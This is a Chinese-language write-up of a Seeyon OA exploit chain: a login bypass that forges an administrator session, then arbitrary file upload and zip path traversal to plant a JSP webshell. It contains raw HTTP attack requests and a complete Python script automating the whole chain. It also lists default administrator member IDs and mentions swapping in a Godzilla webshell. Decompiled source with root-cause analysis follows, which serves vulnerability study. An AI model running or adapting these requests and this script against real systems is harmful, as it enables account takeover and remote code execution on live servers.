致远漏洞（登陆绕过+任意文件上传）

漏洞复现

1.获得cookie

POST /seeyon/thirdpartyController.do HTTP/1.1
Host: 192.168.1.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 133

method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04%2BLjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4&clientPath=127.0.0.1

224791DA45D8CCAC687C1D40EB11A1AC
9D5488963545F408D71933161CCCAF53
每次请求都会得到一个cookie值，都可以用，如下：
失败的cookie如下：
2.上传zip文件

POST /seeyon/fileUpload.do?method=processUpload&maxSize= HTTP/1.1
Host: 192.168.1.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=224791DA45D8CCAC687C1D40EB11A1AC
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------1416682316313
Content-Length: 1079

-----------------------------1416682316313
Content-Disposition: form-data; name="type"


-----------------------------1416682316313
Content-Disposition: form-data; name="extensions"


-----------------------------1416682316313
Content-Disposition: form-data; name="applicationCategory"


-----------------------------1416682316313
Content-Disposition: form-data; name="destDirectory"


-----------------------------1416682316313
Content-Disposition: form-data; name="destFilename"


-----------------------------1416682316313
Content-Disposition: form-data; name="maxSize"


-----------------------------1416682316313
Content-Disposition: form-data; name="isEncrypt"


-----------------------------1416682316313
Content-Disposition: form-data; name="file1"; filename="123.zip"
Content-Type: application/x-zip-compressed

zip文件
-----------------------------1416682316313--

注意这里zip文件直接burp右键paste from file放进去即可


这里压缩文件如上

3.解压压缩文件

POST /seeyon/ajax.do HTTP/1.1
Host: 192.168.1.9 
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=224791DA45D8CCAC687C1D40EB11A1AC
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 146

method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=[0,"2024-02-23","-8399929361113331102"]

可以看到报错找不到指定文件，是因为我们压缩包中没有带layout.xml，其必须存在否则在利用解压漏洞时会解压失败空内容即可

注意上传目录：
然后我重新生成zip文件
再次解压，
但是访问不到，应该这里有问题


因为解压出来的目录都为空，直接用下面脚本吧

这里利用脚本来进行攻击利用
223.py

# coding:utf-8
import time
import requests
import re
import sys
import random
import zipfile


la = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',
           'Content-Type': 'application/x-www-form-urlencoded'}

def generate_random_str(randomlength=16):
  random_str = ''
  base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
  length = len(base_str) - 1
  for i in range(randomlength):
    random_str += base_str[random.randint(0, length)]
  return random_str

mm = generate_random_str(8)

webshell_name1 = mm+'.jsp'
webshell_name2 = '../'+webshell_name1

def file_zip():
    shell = 'test'   ## 替换shell内容
    zf = zipfile.ZipFile(mm+'.zip', mode='w', compression=zipfile.ZIP_DEFLATED)
    zf.writestr('layout.xml', "")
    zf.writestr(webshell_name2, shell)


def Seeyon_Getshell(urllist):

    url = urllist+'/seeyon/thirdpartyController.do'
    post = "method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04+LjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4&clientPath=127.0.0.1"
    response = requests.post(url=url, data=post, headers=la)
    if response and response.status_code == 200 and 'set-cookie' in str(response.headers).lower():
        cookie = response.cookies
        cookies = requests.utils.dict_from_cookiejar(cookie)
        jsessionid = cookies['JSESSIONID']
        file_zip()
        print( '获取cookie成功---->> '+jsessionid)
        fileurl = urllist+'/seeyon/fileUpload.do?method=processUpload&maxSize='
        headersfile = {'Cookie': "JSESSIONID=%s" % jsessionid}
        post = {'callMethod': 'resizeLayout', 'firstSave': "true", 'takeOver': "false", "type": '0',
                'isEncrypt': "0"}
        file = [('file1', ('test.png', open(mm+'.zip', 'rb'), 'image/png'))]
        filego = requests.post(url=fileurl,data=post,files=file, headers=headersfile)
        time.sleep(2)
    else:
        print('获取cookie失败')
        exit()
    if filego.text:
        fileid1 = re.findall('fileurls=fileurls\+","\+\'(.+)\'', filego.text, re.I)
        fileid = fileid1[0]
        if len(fileid1) == 0:
            print('未获取到文件id可能上传失败！')
        print('上传成功文件id为---->>:'+fileid)
        Date_time = time.strftime('%Y-%m-%d')
        headersfile2 = {'Content-Type': 'application/x-www-form-urlencoded','Cookie': "JSESSIONID=%s" % jsessionid}
        getshellurl = urllist+'/seeyon/ajax.do'
        data = 'method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=%5B0%2C%22' + Date_time + '%22%2C%22' + fileid + '%22%5D'
        getshell = requests.post(url=getshellurl,data=data,headers=headersfile2)
        time.sleep(1)
        webshellurl1 = urllist + '/seeyon/common/designer/pageLayout/' + webshell_name1
        shelllist = requests.get(url=webshellurl1)
        if shelllist.status_code == 200:
            print('利用成功webshell地址：'+webshellurl1)
        else:
            print('未找到webshell利用失败')



def main():
    if (len(sys.argv) == 2):
        url = sys.argv[1]
        Seeyon_Getshell(url)
    else:
        print("python3 Seeyon_Getshell.py http://xx.xx.xx.xx")

if __name__ == '__main__':
    main()

python.exe 223.py http://192.168.1.2


然后我们在本地找找文件上传目录
因为脚本中加了…/，所以就在pageLayout根目录，如果不加…/会在2853431203184658860文件夹下面，

可以看到layout只需要有这个文件就行，0kb就行，所以我们上面手动的操作没问题，但是不知道哪有问题

我们改掉shell内容，为哥斯拉jsp




可以看到漏洞利用成功

漏洞原理

任意账户登录分析

首先搜索thirdpartyController.do接口

然后找到ThirdpartyController类路径

可以根据路由接口找到对应配置文件中类文件的映射找到类路径

根据exp知道调用了access方法

@NeedlessCheckLogin
public ModelAndView access(HttpServletRequest request, HttpServletResponse response) throws Exception {
   long time1 = System.currentTimeMillis();
   ModelAndView mv = new ModelAndView("thirdparty/thirdpartyAccess");
   Locale locale = LocaleContext.make4Frontpage(request);
   HttpSession session = request.getSession();
   String openFrom = request.getParameter("from");
   Long loginTime = System.currentTimeMillis();
   String enc = null;
   if (request.getParameter("enc") != null) {
      enc = LightWeightEncoder.decodeString(request.getParameter("enc").replaceAll(" ", "+"));
   } else {
      String transcode = URLDecoder.decode(request.getQueryString().split("enc=")[1]);
      enc = request.getQueryString().indexOf("enc=") > 0 ? LightWeightEncoder.decodeString(transcode) : null;
   }

   if (enc == null) {
      mv.addObject("ExceptionKey", "mail.read.alert.wuxiao");
      return mv;
   } else {
      Map<String, String> encMap = new HashMap();
      String[] enc0 = enc.split("[&]");
      String[] link = enc0;
      int var14 = enc0.length;

      String path;
      String startTimeStr;
      for(int var15 = 0; var15 < var14; ++var15) {
         String enc1 = link[var15];
         String[] enc2 = enc1.split("[=]");
         if (enc2 != null) {
            path = enc2[0];
            startTimeStr = enc2.length == 2 ? enc2[1] : null;
            if (null != startTimeStr) {
               startTimeStr = URLEncoder.encode(startTimeStr);
               startTimeStr = startTimeStr.replaceAll("%3F", "");
               startTimeStr = URLDecoder.decode(startTimeStr);
            }

            encMap.put(path, startTimeStr);
         }
      }

      link = null;
      long memberId = -1L;
      Constants.login_useragent_from userAgentFrom = login_useragent_from.pc;
      String linkType = (String)encMap.get("L");
      path = (String)encMap.get("P");
      Long timeStamp;
      String link;
      if (Strings.isNotBlank(linkType)) {
         startTimeStr = "0";
         if (encMap.containsKey("T")) {
            startTimeStr = (String)encMap.get("T");
            startTimeStr = startTimeStr.trim();
         }

         timeStamp = 0L;
         if (NumberUtils.isNumber(startTimeStr)) {
            timeStamp = Long.parseLong(startTimeStr);
         }

         if (!"ucpc".equals(openFrom) && (System.currentTimeMillis() - timeStamp) / 1000L > (long)(this.messageMailManager.getContentLinkValidity() * 60 * 60)) {
            mv.addObject("ExceptionKey", "mail.read.alert.guoqi");
            return mv;
         }

         String _memberId = (String)encMap.get("M");
         if (_memberId == null) {
            mv.addObject("ExceptionKey", "mail.read.alert.wuxiao");
            return mv;
         }

         memberId = Long.parseLong(_memberId);
         link = (String)UserMessageUtil.getMessageLinkType().get(linkType);
         if (link == null) {
            mv.addObject("ExceptionKey", "mail.read.alert.wuxiao");
            return mv;
         }

         String[] linkParams = request.getParameterValues("P");
         MessageFormat formatter = new MessageFormat(link);
         int formatsCount = formatter.getFormats().length;
         if (linkParams != null) {
            if (formatsCount > linkParams.length) {
               String[] params = new String[formatsCount];

               for(int i = 0; i < params.length; ++i) {
                  if (i < linkParams.length) {
                     params[i] = linkParams[i];
                  } else {
                     params[i] = "";
                  }
               }

               link = formatter.format(params);
            } else {
               link = formatter.format(linkParams);
            }
         } else {
            linkParams = new String[formatsCount];

            for(int i = 0; i < linkParams.length; ++i) {
               linkParams[i] = "";
            }

            link = formatter.format(linkParams);
         }
      } else {
         if (!Strings.isNotBlank(path)) {
            mv.addObject("ExceptionKey", "mail.read.alert.wuxiao");
            return mv;
         }

         link = URLDecoder.decode(path);
         startTimeStr = (String)encMap.get("C");
         timeStamp = null;
         SSOTicketManager.TicketInfo ticketInfo = SSOTicketBean.getTicketInfoByticketOrname(startTimeStr);
         if (ticketInfo == null) {
            startTimeStr = startTimeStr.replaceAll(" ", "+");
            ticketInfo = SSOTicketBean.getTicketInfoByticketOrname(startTimeStr);
         }

         loginTime = ticketInfo.getCreateDate().getTime();
         if ("weixin".equals(ticketInfo.getFrom())) {
            userAgentFrom = login_useragent_from.weixin;
         }

         if (ticketInfo != null) {
            memberId = ticketInfo.getMemberId();
         }
      }

      if (memberId == -1L) {
         mv.addObject("ExceptionKey", "mail.read.alert.noUser");
         return mv;
      } else {
         boolean isNeedLogout = false;
         long time2 = System.currentTimeMillis();
         log.info("Param耗时" + (time2 - time1) + "MS");
         User currentUser = (User)session.getAttribute("com.seeyon.current_user");
         if (currentUser != null) {
            if (currentUser.getId() != memberId) {
               mv.addObject("ExceptionKey", "mail.read.alert.exists");
               return mv;
            }
         } else {
            V3xOrgMember member = this.orgManager.getMemberById(memberId);
            if (member == null) {
               mv.addObject("ExceptionKey", "mail.read.alert.noUser");
               return mv;
            }

            LocaleContext.setLocale(session, this.orgManagerDirect.getMemberLocaleById(member.getId()));
            currentUser = new User();
            currentUser.setLoginTimestamp(loginTime);
            session.setAttribute("com.seeyon.current_user", currentUser);
            AppContext.putThreadContext("SESSION_CONTEXT_USERINFO_KEY", currentUser);
            AppContext.initSystemEnvironmentContext(request, response, true);
            currentUser.setSecurityKey(UUIDLong.longUUID());
            currentUser.setId(memberId);
            currentUser.setName(member.getName());
            currentUser.setLoginName(member.getLoginName());
            currentUser.setAccountId(member.getOrgAccountId());
            currentUser.setLoginAccount(member.getOrgAccountId());
            currentUser.setDepartmentId(member.getOrgDepartmentId());
            currentUser.setLevelId(member.getOrgLevelId());
            currentUser.setPostId(member.getOrgPostId());
            currentUser.setInternal(member.getIsInternal());
            currentUser.setUserAgentFrom(userAgentFrom.name());
            currentUser.setSessionId(session.getId());
            currentUser.setRemoteAddr(Strings.getRemoteAddr(request));
            currentUser.setLocale(locale);
            BrowserEnum browser = BrowserEnum.valueOf(request);
            if (browser == null) {
               browser = BrowserEnum.IE;
            }

            currentUser.setBrowser(browser);
            UserHelper.setResourceJsonStr(JSONUtil.toJSONString(this.privilegeMenuManager.getResourceCode(currentUser.getId(), currentUser.getLoginAccount())));
            CurrentUser.set(currentUser);
            isNeedLogout = true;
         }

         long time3 = System.currentTimeMillis();
         log.info("User耗时" + (time3 - time2) + "MS");
         if (Strings.isNotBlank(linkType)) {
            Integer paramIndex = (Integer)VlinkeParamMap.get(linkType);
            String[] linkParams = request.getParameterValues("P");
            if (paramIndex != null && linkParams.length > paramIndex) {
               String paramValue = linkParams[paramIndex];
               if (Strings.isNotBlank(paramValue)) {
                  String vlink = SecurityHelper.func_digest(paramValue);
                  int _index = link.indexOf("&v=");
                  if (Strings.isNotBlank(link) && _index > -1) {
                     String beforeLink = link.substring(0, _index);
                     String afterLink = link.substring(_index + 1, link.length());
                     int _indexAfter = afterLink.indexOf("&");
                     if (_indexAfter > -1) {
                        afterLink = afterLink.substring(_indexAfter, afterLink.length());
                        link = beforeLink + "&v=" + vlink + afterLink;
                     } else {
                        link = beforeLink + "&v=" + vlink;
                     }
                  } else {
                     vlink = "&v=" + vlink;
                     link = link + vlink;
                  }
               }
            }
         }

         long time4 = System.currentTimeMillis();
         log.info("Link耗时" + (time4 - time3) + "MS");
         init();
         OnlineUser onlineUser = OnlineRecorder.getOnlineUser(currentUser.getLoginName());
         if (serverType == 2) {
            synchronized(isExceedMaxLoginNumberLock) {
               if (onlineUser == null) {
                  boolean isExceedMaxLoginNumber = OnlineRecorder.isExceedMaxLoginNumberServer();
                  if (isExceedMaxLoginNumber) {
                     mv.addObject("ExceptionKey", "mail.read.alert.ExceedMaxLoginNumber");
                     return mv;
                  }
               }

               this.onlineManager.updateOnlineState(currentUser);
            }
         }

         link = link + (link.contains("?") ? "&" : "?") + "_isModalDialog=true";
         if (link.indexOf("&openFrom") > -1) {
            link = link + "&extFrom=" + (String)Strings.escapeNULL(openFrom, "");
         } else {
            link = link + "&openFrom=" + (String)Strings.escapeNULL(openFrom, "");
         }

         mv.addObject("link", link);
         mv.addObject("isNeedLogout", isNeedLogout);
         long time5 = System.currentTimeMillis();
         log.info("Online耗时" + (time5 - time4) + "MS");
         log.info("All耗时" + (time5 - time1) + "MS");
         return mv;
      }
   }
}

根据exp可以看到参数是enc，这就是致远独特的地方，先选定方法再选定参数
enc参数不为null时候，调用LightWeightEncoder.decodeString方法解码

public static String decodeString(String encodeString) {
   if (encodeString == null) {
      return null;
   } else {
      try {
         encodeString = new String((new Base64()).decode(encodeString.getBytes()));
      } catch (Exception var3) {
         log.warn(var3.getMessage());
      }

      char[] encodeStringCharArray = encodeString.toCharArray();

      for(int i = 0; i < encodeStringCharArray.length; ++i) {
         --encodeStringCharArray[i];
      }

      return new String(encodeStringCharArray);
   }
}

可以看到其功能是对传入的字符串base64解码，然后将解码后的字符串每一个字符向后移动一位
例如传入bcd->base64编码->调用decodeString->abc。

package com.example.zhiyuantools;

import java.util.Base64;

public class decode {
    public static void main(String[] args) {
        String encodedString = "YmNk";
        String decodedString = decodeString(encodedString);
        System.out.println("Decoded string: " + decodedString);
    }

    public static String decodeString(String encodedString) {
        if (encodedString == null) {
            return null;
        } else {
            try {
                byte[] decodedBytes = Base64.getDecoder().decode(encodedString);

                // Modify the decoded bytes if needed
                for (int i = 0; i < decodedBytes.length; ++i) {
                    --decodedBytes[i];
                }

                String decodedString = new String(decodedBytes);

                // Perform any additional processing if needed

                return decodedString;
            } catch (Exception e) {
                // Handle the exception gracefully
                e.printStackTrace();
                return null; // or handle it in a different way based on your requirement
            }
        }
    }
}

解码后继续往下看

这段将解码后的字符串分割，首先是将enc的值通过&分割成一个字符串列表，然后再进行遍历，再根据=再次分割字符串，将=前的值作为key放入encMap中，=后面的作为key的值 。如test=1&test2=2&test3=3，就会被拆成{“test”: 1，“test2”: 2, “test3”: 3}。
上面这段代码是从encMap中根据键L、P、T、M拿到对应的值分别赋值给linkType、path、startTimeStr、_memberId。
重点是要走到String _memberId = (String)encMap.get(“M”);那么我们就不能让

if (!"ucpc".equals(openFrom) && (System.currentTimeMillis() - timeStamp) / 1000L > (long)(this.messageMailManager.getContentLinkValidity() * 60 * 60)) {
   mv.addObject("ExceptionKey", "mail.read.alert.guoqi");
   return mv;
}

这部分返回，这里判断是openFrom等于ucpc，openFrom来自于from参数（那么我们exp数据包中没有传入form参数，那么第一个条件为1），另一个条件是当前时间是否大于了指定的时间，如果大于就返回mv走不到我们后面，timeStamp可控制，那么我们传入一个timeStamp很大和System.currentTimeMillis()一样的值，那么条件不成立走到我们需要的String _memberId = (String)encMap.get(“M”);这里。
接下来继续走
这里link也很关键，如果为null也会直接返回，所以必须从linkType中获得值，那么我们看看getMessageLinkType方法
跟入

那么接下来看看哪里put传入了这个类型
可以看到这里加载了/base/message-link.properties配置文件，然后传入值到messageLinkTypes
随便挑一个给linkType赋值就可以绕过最后一个条件link不为null。
继续往下走，最关键的一步
这段代码通过我们拿到的memberId作为参数调用了this.orgManager.getMemberById，这个方法大致就是通过memberId查找对应的用户，从别的师傅文章中得知，致远中存在几个默认的用户

"5725175934914479521"   "集团管理员"
"-7273032013234748168"  "系统管理员"
"-7273032013234748798"  "系统监控"
"-4401606663639775639"  "审计管理员"

我们只需要通过以上memberId就能查询出管理员用户信息，在391行，用新创建的User对象重新设置了session，并且将查询出来的用户信息设置到了currentUser对象中，这才导致了任意用户登录漏洞。

问题点：
但是最后发现我用https://fanygit.github.io/2023/04/27/%E8%87%B4%E8%BF%9COA%20A8-V5%20%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/参考文章的生成jsession发现不行，如下：

加clientPath试试也不行，如下

后面我将T改成我自己poc那个大小
再次试验


成功，也就是作者给出的poc有问题，T没有绕过，我们这里增大T成功了

文件上传漏洞原理

根据配置文件找到对应类，找poc中用到的方法

可以看到uploadFiles方法是三个参数，那么找方法


找到方法位置，代码如下：

private Map<String, V3XFile> uploadFiles(HttpServletRequest request, String allowExtensions, Map<String, File> destFiles, String destDirectory, Long maxSize) throws BusinessException {
   String allowExt = allowExtensions;
   User user = AppContext.getCurrentUser();
   if (user == null) {
      return null;
   } else if (!(request instanceof MultipartHttpServletRequest)) {
      throw new IllegalArgumentException("Argument request must be an instantce of MultipartHttpServletRequest. [" + request.getClass() + "]");
   } else {
      Date createDate = new Date();
      String dir;
      if (StringUtils.isNotBlank(destDirectory)) {
         dir = FilenameUtils.separatorsToSystem(destDirectory);
      } else {
         String ucFlag = request.getParameter("ucFlag");
         if ("yes".equals(ucFlag)) {
            dir = this.partitionManager.getFolderForUC(createDate, true);
         } else {
            dir = this.getFolder(createDate, true);
         }
      }

      MultipartHttpServletRequest multipartRequest = (MultipartHttpServletRequest)request;
      Object maxUploadSizeExceeded = multipartRequest.getAttribute("MaxUploadSizeExceeded");
      if (maxUploadSizeExceeded != null) {
         if (maxSize != null && maxSize != 0L) {
            throw new BusinessException("fileupload.exception.MaxSize", new Object[]{Strings.formatFileSize(maxSize, false)});
         } else {
            throw new BusinessException("fileupload.exception.MaxSize", new Object[]{maxUploadSizeExceeded});
         }
      } else {
         Object ex = multipartRequest.getAttribute("unknownException");
         if (ex != null) {
            throw new BusinessException("fileupload.exception.unknown", new Object[]{ex});
         } else {
            Map<String, V3XFile> v3xFiles = new HashMap();
            Iterator<String> fileNames = multipartRequest.getFileNames();
            if (fileNames == null) {
               return null;
            } else {
               String isEncrypt = request.getParameter("isEncrypt");

               while(true) {
                  Object name;
                  do {
                     do {
                        if (!fileNames.hasNext()) {
                           return v3xFiles;
                        }

                        name = fileNames.next();
                     } while(name == null);
                  } while("".equals(name));

                  String fieldName = String.valueOf(name);
                  List<MultipartFile> fileItemList = multipartRequest.getFiles(String.valueOf(name));

                  for(int fileIndex = 0; fileIndex < fileItemList.size(); ++fileIndex) {
                     MultipartFile fileItem = (MultipartFile)fileItemList.get(fileIndex);
                     if (fileItem != null) {
                        if (maxSize != null && fileItem.getSize() > maxSize) {
                           throw new BusinessException("fileupload.exception.MaxSize", new Object[]{Strings.formatFileSize(maxSize, false)});
                        }

                        String filename = fileItem.getOriginalFilename().replace(' ', ' ').replace('?', ' ');
                        String suffix = FilenameUtils.getExtension(filename).toLowerCase();
                        if (!StringUtils.isEmpty(allowExt) && !StringUtils.isEmpty(suffix)) {
                           allowExt = allowExt.replace(',', '|');
                           if (!Pattern.matches(allowExt.toLowerCase(), suffix)) {
                              throw new BusinessException("fileupload.exception.UnallowedExtension", new Object[]{allowExt});
                           }
                        }

                        FileItem fi = new FileItemImpl(fileItem);
                        FileUploadEvent event = new FileUploadEvent(this, fi);

                        try {
                           EventDispatcher.fireEventWithException(event);
                        } catch (Throwable var30) {
                           if (var30 instanceof BusinessException) {
                              throw (BusinessException)var30;
                           }

                           throw new BusinessException(var30.getLocalizedMessage(), var30);
                        }

                        if (fi.getMessages().size() > 0) {
                           request.setAttribute("upload.event.message", fi.getMessages());
                        }

                        long fileId = UUIDLong.longUUID();
                        File destFile = null;

                        try {
                           if (destFiles != null && destFiles.get(fieldName) != null) {
                              destFile = (File)destFiles.get(fieldName);
                              destFile.getParentFile().mkdirs();
                           } else {
                              destFile = new File(dir + File.separator + fileId);
                           }

                           String encryptVersion = null;
                           encryptVersion = CoderFactory.getInstance().getEncryptVersion();
                           if (encryptVersion != null && !"no".equals(encryptVersion) && !"false".equals(isEncrypt)) {
                              BufferedOutputStream bos = new BufferedOutputStream(new FileOutputStream(destFile));
                              CoderFactory.getInstance().upload(fi.getInputStream(), bos, encryptVersion);
                           } else {
                              fi.saveAs(destFile);
                           }
                        } catch (Exception var31) {
                           throw new BusinessException("附件存盘时发生错误", var31);
                        }

                        V3XFile file = new V3XFile(fileId);
                        file.setCreateDate(createDate);
                        file.setFilename(filename);
                        file.setSize(fi.getSize());
                        file.setMimeType(fi.getContentType());
                        file.setType(Constants.ATTACHMENT_TYPE.FILE.ordinal());
                        file.setCreateMember(user.getId());
                        file.setAccountId(user.getAccountId());
                        String newKeyName = fieldName + "_" + (fileIndex + 1);
                        v3xFiles.put(newKeyName, file);
                     }
                  }
               }
            }
         }
      }
   }
}

代码太长了，分开来看

File destFile = null;
try {
    if (destFiles != null && destFiles.get(fieldName) != null) {
        destFile = (File)destFiles.get(fieldName);
        destFile.getParentFile().mkdirs();
    } else {
        destFile = new File(dir + File.separator + fileId);
    }
    // ...
} catch (Exception var31) {
    throw new BusinessException("附件存盘时发生错误", var31);
}

在文件保存时，如果destFiles中已经存在对应的文件，则会直接使用，但没有对其进行安全验证。此外，即使创建了新的File对象，也没有对文件路径进行安全验证和清理，可能导致路径遍历漏洞。

String newKeyName = fieldName + "_" + (fileIndex + 1);
v3xFiles.put(newKeyName, file);

在构造newKeyName时使用了原始的fieldName，但没有对其进行安全验证和清理，可能导致键名中包含特殊字符或路径遍历漏洞。

文件最大值maxSize属性，我们可以自行修改
没有检测文件内容和文件名，只对空格做了普通空格转换，对问号进行过滤，因此直接任意文件上传+目录遍历

解压压缩文件漏洞原理

POST /seeyon/ajax.do HTTP/1.1
Host: 192.168.1.9 
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=224791DA45D8CCAC687C1D40EB11A1AC
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 146

method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=[0,"2024-02-23","-8399929361113331102"]

根据managerName为portalDesignerManager，全局搜索
必须是有portalDesignerManager类才行，A8+/V7.0SP1版本没有这个类，所以没有这个漏洞，在seeyon-ctp-portal.jar
方法为uploadPageLayoutAttachment传递的参数为[0,“2024-02-23”,“-8399929361113331102”]

attchmentIdStr=0
createDate=2024-02-23
fileUrl=-8399929361113331102

rootPath为上传时产生的文件夹。(日期命名 年-月-日)，fileUrl为上传时返回的 fileid，后面直接使用ZipUtil进行解压，解压后的路径是common/designer/pageLayout+一层uuid。这里可以尝试跨目录。

参考文章：
https://www.adminxe.com/2479.html
https://blog.csdn.net/weixin_43227251/article/details/115616761
https://www.adminxe.com/2479.html